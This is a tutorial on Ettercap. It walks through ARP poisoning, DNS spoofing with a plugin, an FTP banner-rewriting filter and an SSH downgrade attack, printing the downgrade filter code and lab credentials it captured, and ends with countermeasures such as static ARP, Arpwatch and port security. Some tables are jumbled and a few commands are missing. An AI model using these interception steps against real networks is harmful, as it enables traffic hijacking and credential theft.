Ettercap Tutorial
Ettercap Tutorial
Ettercap Tutorial
Ettercap is a tool made by Alberto Ornaghi (ALoR) and Marco Valleri (NaGA) and is
basically a suite for man in the middle attacks on a LAN. For those who do not like
the Command ike Interface (CLI), it is provided with an easy graphical interface.
Ettercap is able to perform attacks against the ARP protocol by positioning itself as
"man in the middle" and, once positioned as this, it is able to:
- infect, replace, delete data in a connection
- discover passwords for protocols such as FTP, HTTP, POP, SSH1, etc ...
- provide fake SSL certificates in HTTPS sections to the victims.
- etc ...
There are several kinds of attacks to become "man in the middle", we will see in this
tutorial attacks based on the ARP protocol.
The ARP protocol is a layer 3 protocol used to translate IP addresses (ex:192.168.1.1)
to physical network card addresses or MAC addresses (ex:0fe1.2ab6.2398).
When a device tries to access a network resource, it will first send requests to other
devices asking for the MAC address associated with the IP it wants to reach. The
caller will keep the IP - MAC association in its cache, the ARP cache, to speed up
new connections to the same IP address.
The attack comes when a machine asks the other ones to find the MAC address
associated with an IP address. The pirate will answer to the caller with fake packets
saying that the IP address is associated to its own MAC address and in this way, will
"short-cut" the real IP - MAC association answer coming from another host. This
attack is referred as ARP poisoning or ARP spoofing and is possible only if the pirate
and the victims are inside the same broadcast domain which is defined on the host by
an IP address and a Subnet mask, for example: 192.168.1.1 255.255.255.0
In our tutorial, we will use the case study below where a machine with IP 192.168.1.2
reaches internet resources from a local network. After the ARP poisoning attack, The
Ettercap machine with IP 192.168.1.100 is set as "man in the middle".
Please note the following things about the Ettercap machine
behaviour:
-
Every time Ettercap starts, it disables IP forwarding in the kernel and begins to forward packets itself.
- It can slow down the network performances between the two hosts because of the packets' machine
process time.
- Ettercap needs root privileges to open the Link Layer sockets. After the initialization phase, the root
privileges are not needed anymore, so Ettercap drops them to UID = 65535 (nobody). Since Ettercap has
to write (create) log files, it must be executed in a directory with the right permissions.
The goal of our tutorial is to provide warning about the danger of "man in the middle"
attacks by ARP spoofing. In the ARP poisoning tutorial, we will explain how to
configure the Ettercap machine as "man in the middle", then, in the filtering tutorial,
we will show you some attacks. Finally, some countermeasures are given to fight
against these damned ARP poisoning attacks.
ettercap-gtk:
Installed : (none)
Candidate : 1:0.7.3-1.2ubuntu2
Version table :
*** 1:0.7.3-1.2ubuntu2 0
500 http://ch.archive.ubuntu.com feisty/universe Packages
100 /var/lib/dpkg/status
ettercap-gtk
Depends: libatk1.0-0
Depends: libc6
Depends: libcairo2
Depends: libfontconfig1
Depends: libfreetype6
Depends: libglib2.0-0
Depends: libgtk2.0-0
Depends: libltdl3
Depends: libncurses5
Depends: libnet1
Depends: libpango1.0-0
Depends: libpcap0.8
Depends: libpcre3
Depends: libpng12-0
Depends: libssl0.9.8
Depends: libx11-6
Depends: libxcursor1
Depends: libxext6
Depends: libxfixes3
Depends: libxi6
Depends: libxinerama1
Depends: libxrandr2
Depends: libxrender1
Depends: zlib1g
Depends: ettercap-common
Suggests: gksu
Conflicts: ettercap
Replaces: ettercap
1. ARP SPOOFING
#ettercap -G
See the MAC & IP addresses of the hosts inside your subnet.
ARP TRAFFIC:
Info
who has
192.168.1.1? Tell
No Prot 192.168.1.2
Source Destination
192.168.1.1 is at
11:22:33:44:55:66 11:22:33:44:11:11
1 ARP 11:22:33:44:11:11
11:22:33:44:11:11 11:22:33:44:55:66
2 ARP
11:22:33:44:11:11 11:22:33:44:55:66
3 ARP who has
11:22:33:44:55:66 11:22:33:44:11:11
4 ARP 192.168.1.2? Tell
192.168.1.1
192.168.1.2 is at
11:22:33:44:55:66
Info
who has
192.168.1.2? Tell
No Prot 192.168.1.1
Source Destination
192.168.1.2 is at
11:22:33:44:11:11 11:22:33:44:55:66
1 ARP 11:22:33:44:55:66
11:22:33:44:55:66 11:22:33:44:11:11
2 ARP
11:22:33:44:99:99 11:22:33:44:55:66
3 ARP 192.168.1.1 is at
11:22:33:44:99:99 11:22:33:44:55:66
4 ARP 11:22:33:44:99:99
192.168.1.1 is at
11:22:33:44:99:99
Age
Protocol Address Hardware Addr Type interface
(min)
Internet 192.168.1.2 1122.3344.9999 ARPA FastEthernet0/0
194
Internet 192.168.1.100 1122.3344.9999 ARPA FastEthernet0/0
128
>get arp
On a Vyatta router:
>show arp
On a Microsoft machine:
#arp -d ip_address
On a Cisco router:
#clear arp-cache
CONCLUSION
After this tutorial, the ARP table of the router and the Windows
machine are poisoned: The Linux machine is now "in the middle".
To launch attacks, go on with the Ettercap filter tutorial.
After the ARP poisoning tutorial, the victim ARP cache has been changed to force the
connections from the Windows machine to go trough the Ettercap machine to reach
the desired destination.
As the trap is set, we are now ready to perform "man in the middle" attacks, in other
words to modify or filter the packets coming from or going to the victim.
To launch attacks, you can either use an Ettercap plugin or load a filter created by
yourself.
1. PLUGINS 2. FILTERS
PLUGINS
We will use here the Ettercap plugin called dns_spoof to test a very famous attack, the
DNS spoofing where the pirate answers DNS requests at the place of the DNS server.
When you access your favourite web site with your browser, your machine (it has an
IP address of 192.168.1.2 in our case study) will first ask the DNS server for the IP
address matching your URL and then the browser will display the web page.
With DNS spoofing, when the DNS request is sent, the spoofer answers at the place
of the DNS server and provides another IP address.
The consequences will be that you have the feeling to reach the desired web site but
this will be in fact the pirate's website because of the different IP address.
The attack can very dangerous when the pirate spoofs important websites such as your
bank website. His/Her fake web server will have exactly the same interface than the
real bank web site. So, the pirate will wait for you to enter your credentials on his
website to capture them.
It means that when you open www.linux1.org in your web browser, you will see the
content of the www.linux.org website.
To start the DNS spoofing, you need to activate the dns_spoof plugin in the Ettercap
graphical interface. Remember that you need to follow the ARP poisoning tutorial
before doing the steps below.
Plugins -> Manage the plugins
Click on the dns_spoof line to activate the plugin. This will tag the line with a star.
Then enter www.linux1.org in a web browser.
You can see that the content of the page opened is the one that matches the IP address
you added in the etter.dns file and not the real IP address matching the
www.linux1.org address.
To stop the DNS spoofing:
Start -> Stop sniffing
Although we stopped the attack, you can see that the www.linux1.org address in your
web browser still displays the content of the www.linux.org web site. This is because
of the DNS cache on our client machine 192.168.1.2. By default, Windows keeps a
DNS entry for 300 seconds or 5 minutes in its cache. So either you wait quietly for 5
minutes or, better, you flush or clear the DNS cache with the following command:
If you want to change the default DNS cache time, you have to modify an entry in the
Windows registry.
Be careful when playing with the registry, an incorrect configuration can damage your
system and prevent it from rebooting.
Start -> Run -> arborescence below:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Dnscache\Param
eters\
click on the "Decimal" button and finally enter your new value for the DNS cache
time.
FILTERS
We chose in our simple example to change the prompt of a FTP connection. Below is
our configuration file called test_filter in the /usr/share/ettercap directory.
Then you need to compile the file with etterfilter because Ettercap can only load
compiled files.
#etterfilter etter_filter -o etter_filter_compil
(Of course, you must be set as "man in the middle". If it's not already the case, follow
the arp poisoning tutorial.)
C:\Documents and Settings\Administrator>ftp www.xyz.com
Connected to xyz.com.
220 "ProFTPD 1.3.0a Server ("ProFTPD) [1.2.3.4]
User (xyz.com:(none)):
C:\Documents and Settings\Administrator>ftp www.xyz.com
Connected to xyz.com.
220 "TeddyBear FTPD 1.3.0a Server ("TeddyBear FTPD) [1.2.3.4]
User (xyz.com:(none)):
A particularly crafty attack called "the downgrade attack" can be used once in "the
man in the middle" position. The principle is to downgrade a protocol version by
changing data inside packets, to another version known to be vulnerable.
SSH is the most famous example of a downgrade attack where the attacker forces the
client and the server to use the insecure SSH1 protocol.
The client sends a request to establish a SSH link to the server and asks it for the
version it supports.
The server answers either with:
- ssh-2.xx The server supports only SSH2
- ssh-1.99 The server supports SSH1 and SSH2
- ssh-1.51 The server supports only SSH1
In our example, the server is configured to support both SSH1 and SSH2 and the
client is set to use SSH2 and SSH1 but SSH2 as a preference.
Suppose the server is configured for SSHv1 and SSHv2, the hacker will change the
answer by modifying the "1.99" string to "1.51" to indicate to the client that the server
supports only SSH1 and thus forces the client to open a SSH1 link.
The client who thinks to use the secure SSH2 protocol will login with SSH1 and the
password will be immediately captured by the hacker because of the SSH1 weak
password authentication mechanism.
By default, only SSH2 is enabled on the OpenSSH server. To activate SSH1, you
have first to open the /etc/ssh/sshd_config file and update the line beginning with
"Protocol":
#vim /etc/ssh/sshd_config
Protocol 1,2
You then need to create a SSH1 key pair otherwise you will have the following error
after the SSH server reboot:
Disabling protocol version 1. Could not load host key.
#ssh-keygen -t rsa1 -f /etc/ssh/ssh_host_key -N ""
The SSH server is now configured to accept SSH1 and SSH2 and thus provides a
"ssh-1.99" response. We can check it with the following command:
#telnet server_ip_address 22
Trying server_ip_address...
Connected to server_ip_address.
Escape character is '^]'.
SSH-1.99-OpenSSH_4.6p1 Debian-5ubuntu0.1
b. Client installation:
Download the Putty client. Putty is a well known open source SSH client for
windows.
Keep the SSH default Putty configuration. SSH1 and SSH2 are accepted but SSH2
preferred.
c. Ettercap installation:
Follow the Ettercap installation tutorial to install Ettercap and the ARP poisoning
tutorial to set our machine as "Man in the Middle".
Our laboratory is now operational, we can launch the SSH downgrade attack:
Ettercap offers a predefined configuration file for the SSH downgrade attack. The file
is /usr/share/ettercap/etter_filter_ssh.
We can check the content of the file but nothing has to be modified.
#cat /usr/share/ettercap/etter.filter.ssh
if (ip.proto == TCP) {
if (tcp.src == 22) {
if ( replace("SSH-1.99", "SSH-1.51") ) {
msg("[SSH Filter] SSH downgraded from version 2 to 1\n");
} else {
if ( search(DATA.data, "SSH-2.00") ) {
msg("[SSH Filter] Server supports only SSH version 2\n");
} else {
if ( search(DATA.data, "SSH-1.51") ) {
msg("[SSH Filter] Server already supports only version 1\n");
}
}
}
}
}
The client, the hacker and the server machines are now configured correctly.
We can test opening an SSH link from the Putty client.
Open Putty, on the left, click on "Session", then enter the SSH server IP address
(192.168.1.68 in our example) and check the "SSH" radio button. Click on the "Open"
button to connect to the SSH server.
It's time to see if everything is working fine and check on the hacker machine if we
catch the SSH1 password.
The attack works fine!
1. Downgraded the SSH version: [SSH Filter] SSH downgraded from version 2 to 1
2. Captured the SSH1 credentials: SSH : 192.168.1.68:22 -> USER:guillfab PASS:T0rduT1m
We can observe a Wireshark capture from the SSH server during the SSH link
establishment. (Click to enlarge)
SSH1 must NEVER be used on a SSH server and SSH2 forced on the client.
By default, only SSHv2 is enabled on the OpenSSH server while it is frequent to see
SSHv1 and SSHv2 enabled on the clients such as Putty.
Let's see how we can secure the SSH client and server:
SSH server:
Open the /etc/ssh/sshd_config file and check that only the SSH2 protocol is enabled.
#vim /etc/ssh/sshd_config
Protocol 2
Trying server_ip_address...
Connected to server_ip_address.
Escape character is '^]'.
SSH-2.0-OpenSSH_4.6p1 Debian-5ubuntu0.1
SSH client:
Force the SSH2 protocol on the client.
On Putty, in the left panel, click on "Connection" then "SSH". Finally, check the
"2only" radio button.
Ettercap can provide some statistics such as the traffic on the network interfaces, the
weak passwords discovery or the network connections status.
CONNECTIONS
View -> Connections
If you double-click on a line:
PROFILES
View -> Profiles
STATISTICS
1. STATIC ARP
Windows Machine
C:\Documents and Settings\administrator>arp -s 192.168.1.1 11-22-33-44-11-11
Linux machine
#arp -s 192.168.1.1 11:22:33:44:11:11
Flags Mask
Address HWtype HWaddress Iface
192.168.1.1 ether 11:22:33:44:11:11 eth0
CM
Cisco router
router#configure terminal
router(config)#arp 192.168.1.2 1122.3344.5566 ARPA
The creation of static IP - MAC address mappings will prevent ARP poisoning but
has two big disadvantages:
- This will generate a lot of extra work for the administrator and is not applicable in an environment where
the users have to move with their laptops.
- This will not prevent other types of ARP attacks such as port stealing.
2. SURVEILLANCE TOOLS
Arpwatch
Arpwatch is a tool to monitor the ARP activity on a network and particularly when a
change occurrs in the MAC address - IP address associations. For this reason, it can
be helpful to detect ARP attacks such as ARP spoofing and can alert the administrator
by mail in case of suspicious ARP activities (referred to as a flip-flop in Arpwatch).
#apt-get install arpwatch
By default, Arpwatch sends its logs in the /var/log/syslog file, you can use the "tail
/var/log/syslog" command to check the logs in real time.
The configuration is stored in the /etc/arpwatch.conf file.
Ettercap
Snort IDS
A Intrusion Detection System such as the Snort IDS can detect ARP abnormal
activities and send a mail to inform the administrator.
3. PORT SECURITY
Port-security is a security functionality available on some high-end switches.
It will allow only devices with certain MAC addresses to connect to the switch ports,
and in case a machine is not authorized, the switch can take actions such as alerting
the administrator with a SNMP trap or shutting down the faulty port immediately.
Below an example with a Cisco switch where its first port (FastEthernet 0/1) is
configured as port-security.
The switch port will accept only one unique MAC address and this MAC address will
be the first seen by the switch port (sticky keyword). If the switch port seee another
MAC address on its first port it will immediately it shutdown.
Switch# configure terminal
Switch(config)# interface FastEthernet 0/1
Switch(config-if)# switchport port-security mac-address sticky
Switch(config-if)# switchport port-security maximum 1
Switch(config-if)# switchport port-security violation shutdown
After the switch configuration, we plug a device with MAC address 1122.3344.5566
on the FastEthernet 0/1 port, which will accept no other MAC address.
Switch# show port-security
:
Port Security Enabled
:
Port Status Secure-up
Violation Mode Shutdown
:
Aging Time 0 mins
Aging Type Absolute
:
SecureStatic Address Aging Disabled
:
Maximum MAC Addresses 1
:
Total MAC Addresses 1
:
Configured MAC Addresses 0
:
Sticky MAC Addresses 1
:
Last Source Address:Vlan 1122.3344.5566:1
:
Security Violation Count 0
:
:
We unplug our current device (MAC: 1122.3344.5566) and plug another device
(MAC: 1122.3344.9999). As seen below, the switch will shutdown its first port and
put it in the err-disabled status.
Switch# show port-security interface FastEthernet 0/1
:
Port Security Enabled
:
Port Status Secure-down
Violation Mode Shutdown
:
Aging Time 0 mins
Aging Type Absolute
:
SecureStatic Address Aging Disabled
:
Maximum MAC Addresses 1
:
Total MAC Addresses 1
:
Configured MAC Addresses 0
:
Sticky MAC Addresses 1
:
Last Source Address:Vlan 1122.3344.9999:1
:
Security Violation Count 0
:
:
Switch#show logging
00:06:28:
%PM-4-ERR_DISABLE: psecure-violation error detected on Fa0/1, putting Fa0/1 in err-disable
state
00:06:28
%PORT_SECURITY-2-PSECURE_VIOLATION: Security violation occurred, caused by MAC address
1122.3344.9999 on port FastEthernet0/1.
00:06:29:
%LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/1, changed state to down
%LINK-3-UPDOWN: Interface FastEthernet0/1, changed state to down
00:06:30:
If you want to reactivate the port in the err-disabled state, use the following
commands:
Switch# configure terminal
Switch(config)# interface FastEthernet 0/1
Switch(config-if)# shutdown
Switch(config-if)# no shutdown
The port-security activation will not prevent ARP spoofing but the possibility for the
pirate to get connected to the network.
4. CONCLUSION
There is no miracle solution to fight against ARP spoofing but the suggestions below
provide significant help by either preventing the pirate from connecting to the
network or by checking your network.
- Network restriction with port security or even with the 802.1x protocol where a machine is authorized on
the network only if it is accepted by an authentication server such as a RADIUS.
- Network surveillance with tools such as IDS.